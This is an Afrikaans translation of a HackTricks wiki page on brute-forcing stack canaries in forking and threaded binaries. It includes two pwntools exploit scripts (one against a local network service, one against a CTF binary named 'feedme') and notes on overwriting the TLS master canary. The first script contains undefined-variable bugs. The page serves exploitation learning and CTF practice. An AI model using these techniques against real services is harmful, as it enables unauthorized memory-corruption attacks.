BF Forked & Threaded Stack Canaries

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

As jy te make het met 'n binêre lêer wat beskerm word deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om dit te omseil.

Let daarop dat checksec dalk nie vind dat 'n binêre lêer beskerm word deur 'n kanarie as dit staties saamgestel is en nie in staat is om die funksie te identifiseer nie. Jy kan egter handmatig hierdie opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stapel gestoor word en hierdie waarde nagegaan word voordat dit afsluit.

Brute force Canary

Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre lêer 'n program is wat kindprosesse vur elke nuwe verbinding wat jy daarmee vestig (netwerkdienste), omdat elke keer as jy daarmee verbind dieselfde kanarie gebruik sal word.

Dan is die beste manier om die kanarie te omseil net om dit karakter vir karakter te kragtig, en jy kan uitvind of die gerate kanariebyte korrek was deur te kyk of die program afgeskakel het of sy gewone vloei voortgesit het. In hierdie voorbeeld kragtig 'n 8 Bytes kanarie (x64) en onderskei tussen 'n korrek gerate byte en 'n slegte byte deur net te kyk of 'n reaksie terug gestuur word deur die bediener (n ander manier in ander situasie sou wees om 'n try/except te gebruik):

Voorbeeld 1

Hierdie voorbeeld is geïmplementeer vir 64-bits maar kan maklik geïmplementeer word vir 32-bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Voorbeeld 2

Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits. Merk ook op dat vir hierdie voorbeeld die program verwag dat eerste 'n byte aandui wat die grootte van die inset en die lading is.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Drade

Drade van dieselfde proses sal ook die selfde kanarie-token deel, daarom sal dit moontlik wees om 'n kanarie te brute-force as die binêre elke keer 'n nuwe draad skep as 'n aanval plaasvind.

Verder kan 'n buffer overflow in 'n gedraade funksie wat beskerm word met 'n kanarie, gebruik word om die hoofkanarie wat in die TLS gestoor is, te verander. Dit is omdat dit moontlik kan wees om die geheueposisie waar die TLS gestoor word (en dus die kanarie) te bereik via 'n bof in die stapel van 'n draad. As gevolg hiervan is die verswakking nutteloos omdat die kontrole gebruik word met twee kanaries wat dieselfde is (hoewel gewysig). Hierdie aanval word uitgevoer in die skryfstuk: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Kyk ook na die aanbieding van https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 wat noem dat gewoonlik die TLS gestoor word deur mmap en wanneer 'n stapel van 'n draad geskep word, word dit ook gegenereer deur mmap volgens hierdie, wat die oorloop mag toelaat soos in die vorige skryfstuk getoon.

Ander voorbeelde & verwysings

Last updated